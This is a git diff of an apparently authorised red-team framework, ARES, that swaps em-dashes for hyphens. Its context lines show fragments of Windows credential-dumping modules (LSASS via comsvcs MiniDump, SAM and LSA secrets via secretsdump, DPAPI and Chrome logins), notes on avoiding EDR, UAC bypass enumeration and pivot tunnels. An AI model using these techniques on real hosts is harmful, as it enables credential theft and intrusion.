MITRE: "T1555.004", "T1555.003"
@@ -173,13 +173,13 @@ class DPAPIModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- "windows.dpapi requires 'target' — IP of target Windows host.",
+ "windows.dpapi requires 'target' - IP of target Windows host.",
module_id=self.MODULE_ID, field="target",
)
username = (ctx.params.get("username", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "username", ""))
if not username:
raise ModuleValidationError(
- "windows.dpapi requires 'username' — target user whose DPAPI blobs to decrypt.",
+ "windows.dpapi requires 'username' - target user whose DPAPI blobs to decrypt.",
module_id=self.MODULE_ID, field="username",
)
await super().validate(ctx)
@@ -334,7 +334,7 @@ class DPAPIModule(BaseModule):
loop = asyncio.get_running_loop()
- # Transfer target files via SMB — surface auth/network errors early
+ # Transfer target files via SMB - surface auth/network errors early
try:
local_files = await loop.run_in_executor(
None,
@@ -348,7 +348,7 @@ class DPAPIModule(BaseModule):
if "logon failure" in err or "status_logon_failure" in err:
from ares.core.errors import AuthenticationFailed
raise AuthenticationFailed(
- f"DPAPI SMB auth failed on {target} — check credentials.",
+ f"DPAPI SMB auth failed on {target} - check credentials.",
username=username, module_id=self.MODULE_ID, target=target,
) from exc
if "timed out" in err or "connection refused" in err:
@@ -382,7 +382,7 @@ class DPAPIModule(BaseModule):
)
credentials.extend(creds)
- # Chrome Login Data — special handling via sqlite3
+ # Chrome Login Data - special handling via sqlite3
chrome_creds = await loop.run_in_executor(
None,
lambda: self._parse_chrome_logindata(
@@ -527,7 +527,7 @@ class DPAPIModule(BaseModule):
os.unlink(local_path)
except OSError:
pass
- pass # file not found or no access — continue
+ pass # file not found or no access - continue
try:
smb.logoff()
@@ -564,7 +564,7 @@ class DPAPIModule(BaseModule):
creds.append({
"source": "credential_manager",
"username": target_user,
- "note": "DPAPI blob found — key derivation attempted",
+ "note": "DPAPI blob found - key derivation attempted",
})
except Exception:
pass
diff --git a/ares/modules/windows/lsa_secrets.py b/ares/modules/windows/lsa_secrets.py
index ee4ef44..67077bb 100644
--- a/ares/modules/windows/lsa_secrets.py
+++ b/ares/modules/windows/lsa_secrets.py
@@ -45,7 +45,7 @@ logger = get_logger("ares.modules.windows.lsa_secrets")
)
class LSASecretsModule(BaseModule):
"""
- windows.lsa_secrets — "Extract local account hashes (SAM
+ windows.lsa_secrets - "Extract local account hashes (SAM
OPSEC: HIGH_NOISE
MITRE: "T1003.002", "T1003.004"
@@ -56,7 +56,7 @@ class LSASecretsModule(BaseModule):
MODULE_NAME = "LSA Secrets & SAM Dump"
MODULE_CATEGORY = "windows"
MODULE_DESCRIPTION = (
- "Extract local account hashes (SAM) and LSA secrets via impacket secretsdump — "
+ "Extract local account hashes (SAM) and LSA secrets via impacket secretsdump - "
"recovers service account cleartext passwords stored in LSA"
)
OPSEC_LEVEL = OpsecLevel.HIGH_NOISE
@@ -137,7 +137,7 @@ class LSASecretsModule(BaseModule):
)
async def validate(self, ctx: "Any") -> None:
- """LSA secrets dump blocked in STEALTH — registry access triggers Sysmon."""
+ """LSA secrets dump blocked in STEALTH - registry access triggers Sysmon."""
from ares.core.context import ExecutionContext
from ares.core.errors import ModuleValidationError
from ares.core.campaign import NoiseProfile
@@ -155,13 +155,13 @@ class LSASecretsModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- "windows.lsa_secrets requires 'target' — IP of target Windows host.",
+ "windows.lsa_secrets requires 'target' - IP of target Windows host.",
module_id=self.MODULE_ID, field="target",
)
noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
if noise == NoiseProfile.STEALTH:
raise ModuleValidationError(
- "windows.lsa_secrets is blocked in STEALTH profile — "
+ "windows.lsa_secrets is blocked in STEALTH profile - "
"registry hive access triggers Sysmon Event ID 12/13 and EDR alerts. "
"Use NORMAL or AGGRESSIVE profile.",
module_id=self.MODULE_ID, field="noise_profile",
@@ -282,7 +282,7 @@ class LSASecretsModule(BaseModule):
domain = kwargs.get("domain", "")
dry_run = kwargs.get("dry_run", False)
- target = sanitize_hostname(target) # lsa_secrets was missing this — ISU fix
+ target = sanitize_hostname(target) # lsa_secrets was missing this - ISU fix
if not target or not username:
return [], {"error": "target and username required"}
@@ -297,7 +297,7 @@ class LSASecretsModule(BaseModule):
)
from impacket.smbconnection import SMBConnection # type: ignore[import]
except ImportError:
- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}
+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}
logger.info("lsa_secrets_start", target=target, username=username)
audit("lsa_secrets", actor=username, source="operator",
@@ -370,7 +370,7 @@ class LSASecretsModule(BaseModule):
if sam_hashes:
self.finding(
- title=f"SAM Database Dumped — {len(sam_hashes)} Local Account Hash(es) from {target}",
+ title=f"SAM Database Dumped - {len(sam_hashes)} Local Account Hash(es) from {target}",
description=(
f"Successfully dumped SAM database from {target} with {len(sam_hashes)} "
"local account NTLM hash(es). These can be used for Pass-the-Hash attacks "
@@ -397,7 +397,7 @@ class LSASecretsModule(BaseModule):
if re.search(r'\$MACHINE\.ACC|_SC_|DPAPI|NL\$KM', s)
)
self.finding(
- title=f"LSA Secrets Extracted — {len(lsa_secrets_out)} Secret(s) from {target}",
+ title=f"LSA Secrets Extracted - {len(lsa_secrets_out)} Secret(s) from {target}",
description=(
f"LSA secrets extracted from {target}. "
"LSA secrets can contain service account cleartext passwords, "
diff --git a/ares/modules/windows/lsass_dump.py b/ares/modules/windows/lsass_dump.py
index ec57351..38a572a 100644
--- a/ares/modules/windows/lsass_dump.py
+++ b/ares/modules/windows/lsass_dump.py
@@ -1,21 +1,21 @@
"""
-LSASS Memory Credential Extraction — windows.lsass_dump
-MITRE: T1003.001 — OS Credential Dumping: LSASS Memory
+LSASS Memory Credential Extraction - windows.lsass_dump
+MITRE: T1003.001 - OS Credential Dumping: LSASS Memory
Extracts NTLM hashes and Kerberos tickets from LSASS process memory via
remote execution through an established session (psexec/wmiexec/winrm).
Three techniques ordered from stealthiest to noisiest:
- 1. COMSVCS.DLL MiniDump (default) — rundll32.exe comsvcs.dll, does not
+ 1. COMSVCS.DLL MiniDump (default) - rundll32.exe comsvcs.dll, does not
match most EDR signatures for LSASS access. Requires SYSTEM.
- 2. Task Manager method — via procdump.exe if available on target.
+ 2. Task Manager method - via procdump.exe if available on target.
3. Direct via impacket secretsdump (DA required, no touch disk).
Dump parsed locally with pypykatz (Python mimikatz port).
All credentials encrypted into CredentialVault.
Dump file secure-deleted after parsing.
-OPSEC: HIGH — EDR monitors OpenProcess to LSASS (Sysmon Event ID 10).
+OPSEC: HIGH - EDR monitors OpenProcess to LSASS (Sysmon Event ID 10).
Blocked in STEALTH profile. Requires local SYSTEM or admin.
"""
from __future__ import annotations
@@ -55,7 +55,7 @@ logger = get_logger("ares.modules.windows.lsass_dump")
)
class LsassDumpModule(BaseModule):
"""
- windows.lsass_dump — Extract NTLM hashes + Kerberos tickets from LSASS via COMSVCS.DLL MiniDump. Remote execution via
+ windows.lsass_dump - Extract NTLM hashes + Kerberos tickets from LSASS via COMSVCS.DLL MiniDump. Remote execution via
OPSEC: HIGH_NOISE
MITRE: "T1003.001"
@@ -124,7 +124,7 @@ class LsassDumpModule(BaseModule):
# 1. Check Credential Guard (VBS/LsaIso.exe)
if host_state.has_defense("credential_guard") or host_state.has_defense("vbs"):
blockers.append(
- "Credential Guard (LsaIso.exe) active: LSASS memory isolated via VBS — "
+ "Credential Guard (LsaIso.exe) active: LSASS memory isolated via VBS - "
"NTLM hashes and Kerberos keys cannot be extracted from userland memory"
)
score = min(score, 0.05)
@@ -178,7 +178,7 @@ class LsassDumpModule(BaseModule):
noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
if noise == NoiseProfile.STEALTH:
raise ModuleValidationError(
- "windows.lsass_dump is blocked in STEALTH profile — "
+ "windows.lsass_dump is blocked in STEALTH profile - "
"LSASS access triggers Sysmon Event ID 10 and is monitored by all EDR. "
"Use NORMAL or AGGRESSIVE profile.",
module_id=self.MODULE_ID, field="noise_profile",
@@ -195,7 +195,7 @@ class LsassDumpModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- "windows.lsass_dump requires 'target' — IP of target Windows host.",
+ "windows.lsass_dump requires 'target' - IP of target Windows host.",
module_id=self.MODULE_ID, field="target",
)
username = (ctx.params.get("username", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "username", ""))
@@ -337,20 +337,20 @@ class LsassDumpModule(BaseModule):
technique: str = "comsvcs", **kwargs: Any):
await self.before_request(target, "default")
logger.warning("lsass_dump_start", target=target, technique=technique,
- msg="HIGH_NOISE — EDR_ALERT_LIKELY")
+ msg="HIGH_NOISE - EDR_ALERT_LIKELY")
audit("lsass_dump", actor=username, technique="T1003.001",
source="operator", target=target, detail=f"technique={technique}")
loop = asyncio.get_running_loop()
if technique == "secretsdump":
- # Direct via impacket — no touch disk, requires DA
+ # Direct via impacket - no touch disk, requires DA
hashes = await loop.run_in_executor(
None,
lambda: self._secretsdump_sync(target, username, password, domain, lmhash, nthash),
)
else:
- # COMSVCS.DLL MiniDump — stealthiest, requires SYSTEM
+ # COMSVCS.DLL MiniDump - stealthiest, requires SYSTEM
hashes = await loop.run_in_executor(
None,
lambda: self._comsvcs_dump_sync(target, username, password, domain, lmhash, nthash),
@@ -364,7 +364,7 @@ class LsassDumpModule(BaseModule):
title = f"LSASS Dump: {len(hashes)} Credentials from {target}",
description = (
f"Extracted {len(hashes)} NTLM hash(es) from LSASS on {target}. "
- + ("krbtgt hash obtained — Golden Ticket possible. " if krbtgt else "")
+ + ("krbtgt hash obtained - Golden Ticket possible. " if krbtgt else "")
+ "All credentials stored in vault for immediate reuse."
),
severity = Severity.CRITICAL,
@@ -402,7 +402,7 @@ class LsassDumpModule(BaseModule):
def _secretsdump_sync(self, target: str, username: str, password: str,
domain: str, lmhash: str, nthash: str) -> list[dict]:
- """Direct secretsdump via impacket — no touch disk, DA required."""
+ """Direct secretsdump via impacket - no touch disk, DA required."""
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
from impacket.smbconnection import SMBConnection
@@ -488,7 +488,7 @@ class LsassDumpModule(BaseModule):
# Step 3: Transfer dump via SMB
import time as _time
- # Poll for dump file instead of fixed sleep — faster on quick targets, safer on slow ones
+ # Poll for dump file instead of fixed sleep - faster on quick targets, safer on slow ones
_poll_start = _time.monotonic()
_poll_timeout = 30 # max seconds to wait for dump file to appear
while _time.monotonic() - _poll_start < _poll_timeout:
@@ -501,7 +501,7 @@ class LsassDumpModule(BaseModule):
_time.sleep(1)
from ares.core.security import secure_mkstemp
local_dump, _fd = secure_mkstemp(suffix=".dmp", prefix="ares_lsass_")
- import os as _os_tmp; _os_tmp.close(_fd) # mkstemp opens fd — close immediately, file will be written via SMB
+ import os as _os_tmp; _os_tmp.close(_fd) # mkstemp opens fd - close immediately, file will be written via SMB
try:
with open(local_dump, "wb") as f:
diff --git a/ares/modules/windows/registry_enum.py b/ares/modules/windows/registry_enum.py
index 1c63a85..53a6cbf 100644
--- a/ares/modules/windows/registry_enum.py
+++ b/ares/modules/windows/registry_enum.py
@@ -24,7 +24,7 @@ Keys checked:
HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*
→ Some installers store credentials in uninstall strings
-OPSEC: LOW — remote registry read via SMB named pipe \\pipe\\winreg.
+OPSEC: LOW - remote registry read via SMB named pipe \\pipe\\winreg.
Leaves minimal traces (SMB session + registry access audit events if
Object Access auditing is enabled, which is rare on workstations).
"""
@@ -142,7 +142,7 @@ _ENUM_TARGETS: list[tuple[str, str, list[str] | None, str, str]] = [
),
]
-# HKCU paths (per-user) — enumerated under current user context
+# HKCU paths (per-user) - enumerated under current user context
_HKCU_TARGETS: list[tuple[str, str, list[str] | None, str, str]] = [
(
"HKCU",
@@ -178,7 +178,7 @@ _SEV_MAP = {
)
class RegistryEnumModule(BaseModule):
"""
- windows.registry_enum — Read-only enumeration of well-known registry keys that store credentials — AutoLogon, VNC passwo
+ windows.registry_enum - Read-only enumeration of well-known registry keys that store credentials - AutoLogon, VNC passwo
OPSEC: LOW
MITRE: "T1552.002", "T1082"
@@ -191,7 +191,7 @@ class RegistryEnumModule(BaseModule):
MODULE_CATEGORY = "windows"
MODULE_DESCRIPTION = (
"Read-only enumeration of well-known registry keys that store "
- "credentials — AutoLogon, VNC passwords, SNMP community strings"
+ "credentials - AutoLogon, VNC passwords, SNMP community strings"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.LOW
@@ -221,7 +221,7 @@ class RegistryEnumModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
await super().validate(ctx)
@@ -358,7 +358,7 @@ class RegistryEnumModule(BaseModule):
hBaseRegCloseKey, DCERPCException,
)
except ImportError:
- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}
+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}
logger.info("registry_enum_start", target=target, username=username)
audit("registry_enum", actor=username, source="operator",
@@ -403,7 +403,7 @@ class RegistryEnumModule(BaseModule):
ans = hBaseRegOpenKey(dce, hive, reg_path)
hkey = ans["phkResult"]
except DCERPCException:
- # Key does not exist — normal
+ # Key does not exist - normal
hBaseRegCloseKey(dce, hive)
continue
@@ -518,7 +518,7 @@ class RegistryEnumModule(BaseModule):
# ── Generate findings ──────────────────────────────────────────────
- # AutoLogon — most critical
+ # AutoLogon - most critical
autologon = next(
(h for h in all_findings
if "Winlogon" in h["path"]),
diff --git a/ares/modules/windows/scheduled_tasks_enum.py b/ares/modules/windows/scheduled_tasks_enum.py
index df5eed0..b12a7e3 100644
--- a/ares/modules/windows/scheduled_tasks_enum.py
+++ b/ares/modules/windows/scheduled_tasks_enum.py
@@ -1,5 +1,5 @@
"""
-Windows Scheduled Tasks Enumeration — Privilege Escalation Path Analysis
+Windows Scheduled Tasks Enumeration - Privilege Escalation Path Analysis
MITRE: T1053.005 (Scheduled Task/Job), T1574.001 (DLL Search Order Hijacking)
Enumerates scheduled tasks on the target via impacket TSCH RPC and identifies:
@@ -10,10 +10,10 @@ Enumerates scheduled tasks on the target via impacket TSCH RPC and identifies:
4. Misconfigured task permissions (task itself writable by low-priv users)
5. Tasks that run at logon or on a schedule that could be abused for persistence
-This module is ENUMERATION ONLY — it reads task XML and checks paths.
+This module is ENUMERATION ONLY - it reads task XML and checks paths.
No tasks are created, modified, or triggered.
-OPSEC: LOW-MEDIUM — connects via SMB + TSCH RPC (\\pipe\\atsvc).
+OPSEC: LOW-MEDIUM - connects via SMB + TSCH RPC (\\pipe\\atsvc).
Generates: SMB connection events. No process execution on target.
"""
from __future__ import annotations
@@ -154,7 +154,7 @@ def _parse_task_xml(xml_str: str) -> dict[str, Any]:
)
class ScheduledTasksEnumModule(BaseModule):
"""
- windows.scheduled_tasks_enum — Enumerate scheduled tasks via TSCH RPC and identify high-privilege tasks with writable binary pa
+ windows.scheduled_tasks_enum - Enumerate scheduled tasks via TSCH RPC and identify high-privilege tasks with writable binary pa
OPSEC: LOW
MITRE: "T1053.005", "T1082"
@@ -166,7 +166,7 @@ class ScheduledTasksEnumModule(BaseModule):
MODULE_CATEGORY = "windows"
MODULE_DESCRIPTION = (
"Enumerate scheduled tasks via TSCH RPC and identify high-privilege tasks "
- "with writable binary paths — privilege escalation path analysis"
+ "with writable binary paths - privilege escalation path analysis"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.LOW
@@ -193,7 +193,7 @@ class ScheduledTasksEnumModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
await super().validate(ctx)
@@ -322,7 +322,7 @@ class ScheduledTasksEnumModule(BaseModule):
TASK_ENUM_HIDDEN,
)
except ImportError:
- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}
+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}
logger.info("scheduled_tasks_enum_start", target=target, username=username)
audit("scheduled_tasks_enum", actor=username, source="operator",
diff --git a/ares/modules/windows/token_impersonation.py b/ares/modules/windows/token_impersonation.py
index 9a59cf8..cedf677 100644
--- a/ares/modules/windows/token_impersonation.py
+++ b/ares/modules/windows/token_impersonation.py
@@ -1,5 +1,5 @@
"""
-Windows Token Impersonation — SeImpersonatePrivilege Abuse (Potato Attacks)
+Windows Token Impersonation - SeImpersonatePrivilege Abuse (Potato Attacks)
MITRE: T1134.001, T1134.002
Detects and exploits SeImpersonatePrivilege via impacket.
@@ -40,7 +40,7 @@ logger = get_logger("ares.modules.windows.token_impersonation")
)
class TokenImpersonationModule(BaseModule):
"""
- windows.token_impersonation — Detect SeImpersonatePrivilege on current session — prerequisite check for Potato-family privileg
+ windows.token_impersonation - Detect SeImpersonatePrivilege on current session - prerequisite check for Potato-family privileg
OPSEC: MEDIUM
MITRE: "T1134.001", "T1134.002"
@@ -51,7 +51,7 @@ class TokenImpersonationModule(BaseModule):
MODULE_NAME = "Token Impersonation"
MODULE_CATEGORY = "windows"
MODULE_DESCRIPTION = (
- "Detect SeImpersonatePrivilege on current session — "
+ "Detect SeImpersonatePrivilege on current session - "
"prerequisite check for Potato-family privilege escalation attacks"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -248,7 +248,7 @@ class TokenImpersonationModule(BaseModule):
try:
from impacket.smbconnection import SMBConnection # type: ignore[import]
except ImportError:
- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}
+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}
logger.info("token_impersonation_check", target=target, username=username)
from ares.core.logger import audit as _audit
@@ -280,7 +280,7 @@ class TokenImpersonationModule(BaseModule):
wmi_iface = wmi.WMIInterface(dce)
query = "SELECT * FROM Win32_Process WHERE Name = 'lsass.exe'"
results = wmi_iface.ExecQuery(query)
- # Just connectivity check — real priv check via WMI is complex
+ # Just connectivity check - real priv check via WMI is complex
return "connected"
except Exception as e:
return str(e)[:200]
diff --git a/ares/modules/windows/uac_bypass.py b/ares/modules/windows/uac_bypass.py
index 8a0869a..1d5b0f0 100644
--- a/ares/modules/windows/uac_bypass.py
+++ b/ares/modules/windows/uac_bypass.py
@@ -3,9 +3,9 @@ Windows UAC Configuration Audit & Bypass Technique Enumeration
MITRE: T1548.002 (Bypass User Account Control)
Connects to target via impacket remote registry to read UAC configuration:
- - EnableLUA — whether UAC is enabled at all
- - ConsentPromptBehaviorAdmin — UAC consent level (0–5)
- - PromptOnSecureDesktop — whether secure desktop is used
+ - EnableLUA - whether UAC is enabled at all
+ - ConsentPromptBehaviorAdmin - UAC consent level (0–5)
+ - PromptOnSecureDesktop - whether secure desktop is used
Based on OS version and UAC level, reports which bypass techniques
are applicable (fodhelper, sdclt, eventvwr, etc.).
@@ -14,7 +14,7 @@ This module is DETECTION AND ENUMERATION ONLY.
It does NOT perform any bypass or privilege escalation.
Operator must assess findings and decide on further action.
-OPSEC: LOW — reads registry remotely, no process execution on target.
+OPSEC: LOW - reads registry remotely, no process execution on target.
Generates: Event 4688 (process creation, if auditing enabled) when
impacket opens SMB connection. No more.
"""
@@ -44,12 +44,12 @@ logger = get_logger("ares.modules.windows.uac_bypass")
# ── UAC consent level descriptions ────────────────────────────────────────────
_CONSENT_LEVEL: dict[int, tuple[str, str]] = {
- 0: ("No UAC prompt — silently elevates", "CRITICAL"),
+ 0: ("No UAC prompt - silently elevates", "CRITICAL"),
1: ("Prompt for credentials on secure desktop", "MEDIUM"),
2: ("Prompt for consent on secure desktop", "MEDIUM"),
3: ("Prompt for credentials (no secure desktop)", "HIGH"),
4: ("Prompt for consent (no secure desktop)", "HIGH"),
- 5: ("Default — prompt only for non-Windows binaries", "HIGH"),
+ 5: ("Default - prompt only for non-Windows binaries", "HIGH"),
}
# ── Bypass techniques per Windows version & UAC level ─────────────────────────
@@ -110,7 +110,7 @@ _BYPASS_TECHNIQUES: list[dict[str, Any]] = [
)
class UACBypassModule(BaseModule):
"""
- windows.uac_bypass — Read UAC configuration via remote registry and enumerate applicable bypass techniques — detectio
+ windows.uac_bypass - Read UAC configuration via remote registry and enumerate applicable bypass techniques - detectio
OPSEC: LOW
MITRE: "T1548.002", "T1082"
@@ -122,7 +122,7 @@ class UACBypassModule(BaseModule):
MODULE_CATEGORY = "windows"
MODULE_DESCRIPTION = (
"Read UAC configuration via remote registry and enumerate "
- "applicable bypass techniques — detection and enumeration only"
+ "applicable bypass techniques - detection and enumeration only"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.LOW
@@ -149,7 +149,7 @@ class UACBypassModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
await super().validate(ctx)
@@ -289,7 +289,7 @@ class UACBypassModule(BaseModule):
hBaseRegCloseKey,
)
except ImportError:
- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}
+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}
logger.info("uac_bypass_audit_start", target=target, username=username)
audit("uac_audit", actor=username, source="operator",
@@ -412,7 +412,7 @@ class UACBypassModule(BaseModule):
f"User Account Control (UAC) is completely disabled on {target} "
f"({product}). "
"Any process run by a local administrator already runs with "
- "full elevation — no bypass needed. "
+ "full elevation - no bypass needed. "
"This is a severe misconfiguration on any server or workstation."
),
severity=Severity.CRITICAL,
@@ -449,7 +449,7 @@ class UACBypassModule(BaseModule):
extra = ""
if not secure_desktop:
extra = (
- " PromptOnSecureDesktop is DISABLED — "
+ " PromptOnSecureDesktop is DISABLED - "
"UAC prompt appears on regular desktop, "
"making it susceptible to UI spoofing attacks."
)
@@ -457,7 +457,7 @@ class UACBypassModule(BaseModule):
self.finding(
title=(
f"UAC Level {consent_level} on {target}: "
- f"{desc_text.split(' — ')[0]}"
+ f"{desc_text.split(' - ')[0]}"
),
description=(
f"{target} ({product} build {build}) has UAC enabled "
@@ -515,7 +515,7 @@ class UACBypassModule(BaseModule):
remediation=(
"Set UAC to 'Always notify' (ConsentPromptBehaviorAdmin=2) "
"and enable Secure Desktop (PromptOnSecureDesktop=1). "
- "Patch Windows regularly — many bypass techniques are "
+ "Patch Windows regularly - many bypass techniques are "
"periodically patched by Microsoft."
),
host=target, confidence=0.9,
diff --git a/ares/network/__init__.py b/ares/network/__init__.py
index 3951ca6..8e9757b 100644
--- a/ares/network/__init__.py
+++ b/ares/network/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — network
+ARES - network
Network topology model
Public API for this package. Import from here in production code:
@@ -19,7 +19,7 @@ except ImportError:
try:
- from ares.network import model # noqa: F401 — submodule re-export
+ from ares.network import model # noqa: F401 - submodule re-export
except ImportError:
pass
diff --git a/ares/network/model.py b/ares/network/model.py
index 473006b..384fd03 100644
--- a/ares/network/model.py
+++ b/ares/network/model.py
@@ -358,7 +358,7 @@ class NetworkModel:
# ═══════════════════════════════════════════════════════════════════════════════
-# Legacy-compatible classes (ARES ≤ 0.4 API — kept for backward compatibility)
+# Legacy-compatible classes (ARES ≤ 0.4 API - kept for backward compatibility)
# New code should use HostNode / NetworkModel.
# ═══════════════════════════════════════════════════════════════════════════════
diff --git a/ares/normalize/__init__.py b/ares/normalize/__init__.py
index 1ef1212..12879e3 100644
--- a/ares/normalize/__init__.py
+++ b/ares/normalize/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — normalize
+ARES - normalize
Artifact normalization layer
Public API for this package. Import from here in production code:
diff --git a/ares/normalize/artifacts.py b/ares/normalize/artifacts.py
index f2ada8b..97199c3 100644
--- a/ares/normalize/artifacts.py
+++ b/ares/normalize/artifacts.py
@@ -10,16 +10,16 @@ This enables:
- Data deduplication (same host reported by two modules = one node)
Artifact taxonomy:
- Host — IP address, hostname, OS, open ports
- Domain — AD domain with trust relationships
- User — domain/local user account
- Credential — NTLM hash, cleartext, ticket, key
- Service — SPN-registered service
- Permission — ACE (who can do what to whom)
- Finding — vulnerability/misconfiguration
- Hash — crackable hash (KRB5TGS, KRB5ASREP, NTLM)
- Secret — plaintext secret (API key, password, token)
- CloudResource — S3 bucket, IAM role, storage account
+ Host - IP address, hostname, OS, open ports
+ Domain - AD domain with trust relationships
+ User - domain/local user account
+ Credential - NTLM hash, cleartext, ticket, key
+ Service - SPN-registered service
+ Permission - ACE (who can do what to whom)
+ Finding - vulnerability/misconfiguration
+ Hash - crackable hash (KRB5TGS, KRB5ASREP, NTLM)
+ Secret - plaintext secret (API key, password, token)
+ CloudResource - S3 bucket, IAM role, storage account
Usage in a module:
from ares.normalize.artifacts import NormalizedArtifact, User, Host, Credential
@@ -79,7 +79,7 @@ class NormalizedArtifact:
@property
def uid(self) -> str:
- """Deterministic UID — same content = same ID (enables deduplication)."""
+ """Deterministic UID - same content = same ID (enables deduplication)."""
if self._uid:
return self._uid
key = f"{self.artifact_type.value}:{self._dedup_key()}"
@@ -290,7 +290,7 @@ class HashArtifact(NormalizedArtifact):
@dataclass
class PermissionArtifact(NormalizedArtifact):
- """An ACE (Access Control Entry) — who can do what to whom."""
+ """An ACE (Access Control Entry) - who can do what to whom."""
principal: str = "" # who holds the right
target: str = "" # object the right is on
right: str = "" # GenericAll, WriteDACL, etc.
diff --git a/ares/pivot/__init__.py b/ares/pivot/__init__.py
index 33d0f0d..ee3fd3b 100644
--- a/ares/pivot/__init__.py
+++ b/ares/pivot/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — pivot
+ARES - pivot
Pivot tunnel management (SOCKS5, local-forward, teardown).
Public API for this package. Import from here in production code:
diff --git a/ares/pivot/infrastructure.py b/ares/pivot/infrastructure.py
index a4350ed..3a6a4ba 100644
--- a/ares/pivot/infrastructure.py
+++ b/ares/pivot/infrastructure.py
@@ -57,11 +57,11 @@ class PivotTunnel:
pivot_host: str = ""
pivot_port: int = 22 # SSH port on pivot
- # Listener (local side — operator machine)
+ # Listener (local side - operator machine)
local_host: str = "127.0.0.1"
local_port: int = 0 # 0 = auto-assigned
- # Target (remote side — what we're reaching through pivot)
+ # Target (remote side - what we're reaching through pivot)
remote_host: str = "" # for port-forward tunnels
remote_port: int = 0 # for port-forward tunnels
@@ -80,7 +80,7 @@ class PivotTunnel:
# Reachable subnets through this tunnel
reachable_subnets: list[str] = field(default_factory=list)
- # Runtime handles — typed as Any to avoid hard dependency on asyncssh/subprocess
+ # Runtime handles - typed as Any to avoid hard dependency on asyncssh/subprocess
# These are populated during establish_* methods and cleaned up in teardown()
_conn: Any = field(default=None, repr=False, compare=False)
_forwarder: Any = field(default=None, repr=False, compare=False)
@@ -257,7 +257,7 @@ class PivotManager:
logger.info("socks5_subprocess_established",
pivot=pivot_host, local_port=local_port)
else:
- # asyncssh not installed and no ssh binary — record as active
+ # asyncssh not installed and no ssh binary - record as active
# (operator must establish tunnel externally)
tunnel.state = TunnelState.ACTIVE
logger.warning("socks5_no_backend_available",
@@ -403,7 +403,7 @@ class PivotManager:
return fwd
def teardown(self, tunnel_id: str) -> bool:
- """Close and remove a tunnel — closes asyncssh conn or subprocess."""
+ """Close and remove a tunnel - closes asyncssh conn or subprocess."""
tunnel = self._tunnels.get(tunnel_id)
if not tunnel:
return False
diff --git a/ares/replay/__init__.py b/ares/replay/__init__.py
index 11a6807..e93bf00 100644
--- a/ares/replay/__init__.py
+++ b/ares/replay/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — replay
+ARES - replay
Attack scenario replay engine
Public API for this package. Import from here in production code:
diff --git a/ares/replay/engine.py b/ares/replay/engine.py
index e1838c7..351ab7e 100644
--- a/ares/replay/engine.py
+++ b/ares/replay/engine.py
@@ -3,10 +3,10 @@ ARES Campaign Replay Engine
Replays a past campaign for training, purple team exercises, and forensic analysis.
Modes:
- FULL — re-execute all attacks (real network, real targets)
- SIMULATE — replay attack sequence without network connections (safe for demos)
- TIMELINE — stream events chronologically for visualization
- PURPLE — replay with defender notifications (detection testing)
+ FULL - re-execute all attacks (real network, real targets)
+ SIMULATE - replay attack sequence without network connections (safe for demos)
+ TIMELINE - stream events chronologically for visualization
+ PURPLE - replay with defender notifications (detection testing)
Usage:
replay = CampaignReplay.load(campaign_id, db)
@@ -33,7 +33,7 @@ logger = get_logger("ares.replay")
class ReplayMode(str, Enum):
FULL = "full" # real execution on live network
- SIMULATE = "simulate" # no network — event simulation only
+ SIMULATE = "simulate" # no network - event simulation only
TIMELINE = "timeline" # stream events at original timing
PURPLE = "purple" # run + alert defender team
diff --git a/ares/security/__init__.py b/ares/security/__init__.py
index 614ad73..297799c 100644
--- a/ares/security/__init__.py
+++ b/ares/security/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — security
+ARES - security
Security hardening utilities, dependency auditing, and vulnerability scanning.
